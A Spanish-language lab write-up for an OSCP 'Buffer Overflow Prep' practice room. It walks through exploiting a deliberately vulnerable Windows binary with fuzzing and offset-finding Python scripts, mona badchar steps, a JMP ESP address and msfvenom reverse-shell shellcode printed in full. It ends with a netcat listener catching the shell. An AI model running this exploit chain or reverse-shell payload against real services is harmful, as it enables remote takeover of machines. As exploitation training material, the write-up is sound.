Buffer Overflow Prep es una room enfocada a la practica de explotación para el OSCP. Se muestran los ‘pasos’, comandos y herramientas para llegar a la solución de cada uno de los retos.
Para agilizar el trabajo descargamos la carpeta completa (vulnerable-apps/) a una maquina local Windos 7 de 32 bits.
Immunity Debugger
Para resolver los diferentes retos utilizamos el debugger Immunity Debugger. Tras la instalación, configuramos el debugger de tal forma que este pueda ser ejecuado como administrador.
Mona
Vamos a utilizar el script mona.py el cual descargamos y copiamos dentro del directorio PyCommands de Immunity.
Tras copiar el script generamos nuestro directorio bajo el cual vamos a trabajar con el siguiente comando. En mi caso tengo una carpeta en la raiz del disco duro (C:\bof\). El valor %p representaría el nombre del proceso el cual sería oscp, de tal forma que nuestro directorio de trabajo sería: C:\bof\oscp\.
1
!mona config -set workingdirectory C:\bof\%p
oscp.exe
En Immunity abrimos el ejecutable oscp.exe en File > Open.
Vemos que esta en Pausa, podemos utilizar el boton de “play” o F9 para que se siga ejecutando normalmente.
Finalmente vemos abierta una terminal donde se muestra el output del ejecutable.
Python
Para el desarrollo de exploits vamos a utilizar el lenguaje Python, se presentan algunas “plantillas” de scripts que utilizamos en los distintos “pasos”.
#!/usr/bin/python2.7importsocket,sysfrompwnimport*fromstructimportpackiflen(sys.argv)!=2:print("[*] Run:\n\toverflow.py <IP-address>")sys.exit(1)address=sys.argv[1]port=1337# Fuzzingbuff=["A"]c=100whilelen(buff)<30:buff.append("A"*c)c+=100p1=log.progress("Progreso")forstringinbuff:try:p1.status("Enviando %s bytes."%len(string))s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW1 %s\r\n"%string)s.close()#log.info("x_x socket.") exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo con %s bytes."%len(string))sys.exit(1)
#!/usr/bin/python2.7importsocket,sysfrompwnimport*fromstructimportpackiflen(sys.argv)!=2:print("[*] Run:\n\toverflow.py <IP-address>")sys.exit(1)address=sys.argv[1]port=1337badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1274+eip_ret+nops+badchars+padding*(???-???-4-255)# 255 badcharstry:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW4 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El ejecutable esta a la escucha por el puerto 1337 por lo que realizamos una prueba de conexión inicial para verificar y encontrar los diferentes inputs y/o parametros. En este caso vamos a utilizar netcat para realizar la conexión por el puerto mencionado, hay que mencionar que el ejecutable contiene los diez ejercicios/retos por lo que para el primero observamos que tiene como “input” OVERFLOW1 seguido del valor que podemos enviar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜ OVERFLOW_1 nc 192.168.22.128 1337Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW1 [value]OVERFLOW2 [value]OVERFLOW3 [value]OVERFLOW4 [value]OVERFLOW5 [value]OVERFLOW6 [value]OVERFLOW7 [value]OVERFLOW8 [value]OVERFLOW9 [value]OVERFLOW10 [value]EXIT
OVERFLOW1 1234567890OVERFLOW1 COMPLETE
Fuzzing
Utilizamos este pequeño script en python donde es necesario pasarle la dirección IP para realizar distintas conexiones por medio de sockets enviando distintos tamaños de string que contienen unicamente la letra “A”, para ver a que punto y tamaño de string el programa se detiene.
#!/usr/bin/python2.7importsocket,sysfrompwnimport*fromstructimportpackiflen(sys.argv)!=2:print("[*] Run:\n\toscp1.py <IP-address>")sys.exit(1)address=sys.argv[1]port=1337# Fuzzingbuff=["A"]c=100whilelen(buff)<20:buff.append("A"*c)c+=100forstringinbuff:try:log.info("Enviando %s bytes."%len(string))s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW1 %s\r\n"%string)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo con %s bytes."%len(string))
Antes de realizar la ejecución le damos permisos necesarios.
1
2
3
➜ OVERFLOW_1 ls
overflow1.py
➜ OVERFLOW_1 chmod +x overflow1.py
Ejecutamos el script y vemos que ya no puede realizar ninguna conexión al rededor de los 2100 bytes.
1
2
3
4
➜ OVERFLOW_1 ./overflow1.py 192.168.22.128
[/] Progreso: Enviando 2100 bytes.
[-] Parece que el programa se detuvo con 2100 bytes.
➜ OVERFLOW_1
Vemos en el debugger, que el programa esta pausado o se detuvo y, en los registros de memoria se observa que el valor de EIP se ha sobreescrito con múltiples “A"s en valor hexadecimal (41414141), en el ESP se observan múltiples “A"s.
Offset EIP
Para controlar el flujo de la aplicación es necesario controlar el registro EIP ya que este apunta a la siguiente instrucción, para ello debemos de conocer el offset exacto. Para encontrar este valor vamos a utilizar pattern_create.rb de metasploit el cual nos permite crear un único patron de caracteres según el tamaño indicado. Sabemos que el programa se detuvo con 2100 bytes vamos aumentar el tamaño del patron.
#!/usr/bin/python2.7importsocket,sysfrompwnimport*fromstructimportpackiflen(sys.argv)!=2:print("[*] Run:\n\toscp1.py <IP-address>")sys.exit(1)address=sys.argv[1]port=1337# Patronbuff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C"try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW1 %s\r\n"%buff)s.close()#log.info("x_x socket.")log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")
Antes de ejecutar nuestro script nuevamente ejecutamos el fichero, realizando CTRL + F2 y F9, o en el icono como se muestra en la imagen y “play”.
Tras ejecutar el script el programa se detiene, vemos en los registro que ahora ya no existen valores “A” (41414141), ya que enviamos un patron único. Tomamos el valor de EIP6F43396E.
Con el script pattern_offset.rb podemos obtener el valor exacto del offset, pasando el valor de EIP y la longitud de nuestro patron anteriormente creado. Tras ejecutar el script este muestra que el valor exacto del offset es 1978 bytes.
1
2
3
4
5
6
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ ./pattern_offset.rb -q 6F43396E -l 2200[*] Exact match at offset 1978┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$
De igual forma podemos conocer el offset utilizando mona viendo el offset del registro EIP.
1
!mona findmsp -distance 2200
Control EIP
Sabiendo el offset exacto vamos a tomar el control del registro EIP. Para ello modificamos el script tomando en cuenta el offset encontrado y a este le agregamos el valor de “B"s exactamente cuatro bytes, para verificar que el offset sea exacto y, que el valor de este caracter (B) aparezca en el registro EIP, esto nos indicaría que tenemos el control del EIP, tambien agregamos un padding para mantener la longitud del buffer que anteriormente generamos (2200 bytes).
Tras la ejecución del script vemos que el registro EIP vale “B” en hexadecimal (42424242) lo cual confirma que tenemos el control del EIP. Además vemos que el registro ESP esta lleno de nuestro padding “C” en hexadecimal (43434343…).
Espacio - Shellcode
Ahora que confirmamos que tenemos el control de EIP, necesitamos encontrar más espacio para nuestro shellcode ya que los 218 bytes restantes de los 2200 no serán suficientes ya que nuestro shellcode podria superar los 450 bytes. Para ello simplemente agregamos más “C"s y vemos si la aplicacion sigue el mismo comportamiento de antes. Para estar seguros agregamos un padding en total de 500 bytes.
Tras ejecutar el script vemos que el programa sigue comportandose de la misma forma, observamos el registro ESP lleno de “C"s y el registro EIP con “B"s como antes.
BadChars
Antes de generar nuestro shellcode debemos de identificar los “badchars”, estos son los caracteres que podrian interferir en la ejecución de nuestro shellcode o no ser aceptados. Existen algunos “badchars” que comunmente se omiten:
Hexadecimal
Representación
00
NULL
0a
Salto de linea ’\n’
0d
Retorno de carro ’\r’
20
Espacio
Para identificarlos primero generamos un string con todos los caracteres. Vamos a usar el siguiente comando con mona en el debugger, omitimos el primer badchar.
1
!mona bytearray -cpb "\x00"
Vemos en la salida del comando todos los caracteres, además se muestran dos ficheros, el primero contiene todos los badchars los cuales vamos a copiar a nuestro script, el segundo tiene el mismo contenido pero nos servirá para identificar los badchars.
Modificamos el script agregando antes del padding y compensamos la cantidad restante con “C"s para mantener la longitud anteriormente encontrada (2482).
Tras ejecutar el script vemos que el programa se detuvo, en este punto tomamos el valor del registro ESP (o simplemente esp), y utilizando mona identificamos los badchar con el fichero bytearray.bin.
1
2
!mona compare -f C:\bof\oscp\bytearray.bin -a <ESP-address>
!mona compare -f C:\bof\oscp\bytearray.bin -a esp
Vemos en el output que se muestran “posibles badchars”, estos son los valores que debemos de tomar y nuevamente crear un array omitiendo uno por uno.
1
!mona bytearray -cpb "\x00\x07"
Tras generar un nuevo array, modificamos el script, y con mona nuevamente identificamos los badchars. Vemos el valor 2e.
Nuevamente creamos un nuevo array, omitiendo el valor \x2e.
1
!mona bytearray -cpb "\x00\x07\x2e"
Observamos el valor a0
Nuevamente creamos un nuevo array, omitiendo el valor \xa0.
1
!mona bytearray -cpb "\x00\x07\x2e\xa0"
Esta vez ya no se muestra ninguno, por lo que logramos identificar todos los badchars ("\x00\x07\x2e\xa0").
Chars
Algunos “badchars” suelen corromper el siguiente por ejemplo el valor \x00 podria corromper al valor \x01, el cual no es comun encontrar como badchar, en el caso anterior vemos el valor \x07, al igual que el valor \x01 no suele ser un badchar, si creamos un nuevo array incluyendo este valor, mona no muestra que sea un badchar.
JMP ESP
El registro ESP se ha llenado de la información que hemos estado enviando (“A"s, patron único y badchars) y es donde vamos a almacenar nuestro shellcode, pero para ello debemos de encontrar una forma de redirigir el flujo del programa al ESP, teniendo el control del registro EIP debemos decirle que apunte al ESP. Por ello, debemos de localizar la instruccion JMP ESP dentro del ejecutable o los modulos que este utiliza. El script nasm_shell.rb nos puede ayudar a encontrar el valor en hexadecimal de esta instrucción.
Tomamos el valor FFE4 el cual vamos a buscar en uno de los modulos que el ejecutable utiliza. Primero, buscamos algun modulo que no tenga ningun tipo de proteccion habilitada, vemos dos incluyendo el ejecutable.
Ahora debemos de localizar la instruccion FFE4 dentro de este modulo omitiendo los badchars.
Con ello modificamos nuestro script agregando la dirección en lugar de las “B"s en formato Little Endian con la libreria struct.
1
2
3
fromstructimportpackeip_ret=pack("<L",0x625011AF)
Shellcode
El registro EIP apunta (JMP ESP) al ESP, y en este ultimo podemos agregar la información que queremos, vamos a agregar finalmente nuestro shellcode en lugar de los badchars o “C"s como ya lo hemos hecho. Utilizando msfvenom creamos un shellcode en formato C especificando los badchars.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x07\x2e\xa0"Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351(iteration=0)x86/shikata_ga_nai chosen with final size 351Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[]="\xbd\xb5\xea\x94\xb3\xda\xc6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1""\x52\x83\xeb\xfc\x31\x6b\x0e\x03\xde\xe4\x76\x46\xdc\x11\xf4""\xa9\x1c\xe2\x99\x20\xf9\xd3\x99\x57\x8a\x44\x2a\x13\xde\x68""\xc1\x71\xca\xfb\xa7\x5d\xfd\x4c\x0d\xb8\x30\x4c\x3e\xf8\x53""\xce\x3d\x2d\xb3\xef\x8d\x20\xb2\x28\xf3\xc9\xe6\xe1\x7f\x7f""\x16\x85\xca\xbc\x9d\xd5\xdb\xc4\x42\xad\xda\xe5\xd5\xa5\x84""\x25\xd4\x6a\xbd\x6f\xce\x6f\xf8\x26\x65\x5b\x76\xb9\xaf\x95""\x77\x16\x8e\x19\x8a\x66\xd7\x9e\x75\x1d\x21\xdd\x08\x26\xf6""\x9f\xd6\xa3\xec\x38\x9c\x14\xc8\xb9\x71\xc2\x9b\xb6\x3e\x80""\xc3\xda\xc1\x45\x78\xe6\x4a\x68\xae\x6e\x08\x4f\x6a\x2a\xca""\xee\x2b\x96\xbd\x0f\x2b\x79\x61\xaa\x20\x94\x76\xc7\x6b\xf1""\xbb\xea\x93\x01\xd4\x7d\xe0\x33\x7b\xd6\x6e\x78\xf4\xf0\x69""\x7f\x2f\x44\xe5\x7e\xd0\xb5\x2c\x45\x84\xe5\x46\x6c\xa5\x6d""\x96\x91\x70\x21\xc6\x3d\x2b\x82\xb6\xfd\x9b\x6a\xdc\xf1\xc4""\x8b\xdf\xdb\x6c\x21\x1a\x8c\x52\x1e\x32\x4d\x3b\x5d\x3a\x48""\x81\xe8\xdc\x38\xe5\xbc\x77\xd5\x9c\xe4\x03\x44\x60\x33\x6e""\x46\xea\xb0\x8f\x09\x1b\xbc\x83\xfe\xeb\x8b\xf9\xa9\xf4\x21""\x95\x36\x66\xae\x65\x30\x9b\x79\x32\x15\x6d\x70\xd6\x8b\xd4""\x2a\xc4\x51\x80\x15\x4c\x8e\x71\x9b\x4d\x43\xcd\xbf\x5d\x9d""\xce\xfb\x09\x71\x99\x55\xe7\x37\x73\x14\x51\xee\x28\xfe\x35""\x77\x03\xc1\x43\x78\x4e\xb7\xab\xc9\x27\x8e\xd4\xe6\xaf\x06""\xad\x1a\x50\xe8\x64\x9f\x70\x0b\xac\xea\x18\x92\x25\x57\x45""\x25\x90\x94\x70\xa6\x10\x65\x87\xb6\x51\x60\xc3\x70\x8a\x18""\x5c\x15\xac\x8f\x5d\x3c";
Agregamos nuestros NOPs antes de nuestro shellcode, para darle a este ultimo espacio de ser necesario, en total agregamos 16 bytes.
1
nops="\x90"*16
Finalmente agregamos el shellcode ajustando y preservando la longitud del buffer (2482) con el padding o “C"s.
➜ BufferOverflow nc -lnvp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49177Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>dir
dir
El volumen de la unidad C no tiene etiqueta.
El nmero de serie del volumen es: 96D1-5A10
Directorio de C:\Users\sckull\Desktop\vulnerable-apps\oscp
03/07/2020 08:38 p.m. <DIR> .
03/07/2020 08:38 p.m. <DIR> ..
06/07/2020 06:29 p.m. 16,601 essfunc.dll
20/07/2020 08:50 p.m. 54,648 oscp.exe
2 archivos 71,249 bytes
2dirs 42,065,817,600 bytes libres
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 2
Fuzzing
Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW2.
#!/usr/bin/python2.7importsocket,sysfrompwnimport*fromstructimportpackiflen(sys.argv)!=2:print("[*] Run:\n\toscp1.py <IP-address>")sys.exit(1)address=sys.argv[1]port=1337# Fuzzingbuff=["A"]c=100whilelen(buff)<30:buff.append("A"*c)c+=100p1=log.progress("Progreso")forstringinbuff:try:p1.status("Enviando %s bytes."%len(string))s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW2 %s\r\n"%string)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo con %s bytes."%len(string))sys.exit(1)
Vemos que el script se detuvo y muestra 800 bytes.
1
2
3
4
➜ OVERFLOW_2 ./overflow2.py 192.168.22.128
[↖] Progreso: Enviando 800 bytes.
[-] Parece que el programa se detuvo con 800 bytes.
➜ OVERFLOW_2
Vemos en el debugger que el registro EIP se sobreescribio con “A"s (41414141), de igual forma vemos en el ESP lleno de “A"s.
Offset EIP
Para este ejercicio vamos a tomar una longitud del buffer de 1000 bytes.
Configuramos nuestro script para enviar el patron creado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# offset eipbuff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"try:
log.info("Realizando conexion.")s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect= s.connect((address, port))data= s.recv(1024) s.send("OVERFLOW2 %s\r\n" % buff) s.close() log.info("Conexion Finalizada.")except Exception as e:
#print(e) log.failure("Parece que el programa se detuvo.") sys.exit(1)
Vemos que el programa se detuvo y el valor del ESP.
Utilizamos mona para calcular el offset, vemos que el EIP muestra un offset de 634.
1
2
3
4
5
6
7
8
!mona findmsp -distance 1000[+] Looking for cyclic pattern in memory
[..][+] Examining registers
EIP contains normal pattern : 0x76413176 (offset 634) ESP (0x0181fa30) points at offset 638 in normal pattern (length 362) EBP contains normal pattern : 0x41307641 (offset 630) EBX contains normal pattern : 0x39754138 (offset 626)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1000).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B"*4nops=""padding="C"buff="A"*634+eip_ret+padding*(1000-634-4)# padding 362try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW2 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Podemos notar que el registro EIP esta lleno con las 4 “B"s que agregamos y el registro ESP esta lleno del padding.
Espacio - Shellcode
Aumentamos el padding a 150 para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 150 bytes adicionales, en total tendríamos 512 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""padding="C"buff="A"*634+eip_ret+padding*(1000-634-4+150)# padding 362 + 150 = 512# 634 junk, 4 eip_ret, padding 512# total buffer = 1150try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW2 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger no muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1150 bytes de los cuales 512 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos nuestro script para enviar nuestros badchars.
Podemos utilizar cualquiera de estos comandos para encontrar una instrucción de salto al ESP, sin utilizar el valor \xff\e4 como anteriormente lo hicimos.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x23\x3c\x83\xba"1 ⨯
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with Encoding failed due to a bad character (index=21, char=0x83)Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=112, char=0x23)Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with Encoding failed due to a bad character (index=17, char=0x83)Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353(iteration=0)x86/jmp_call_additive chosen with final size 353Payload size: 353 bytes
Final size of c file: 1508 bytes
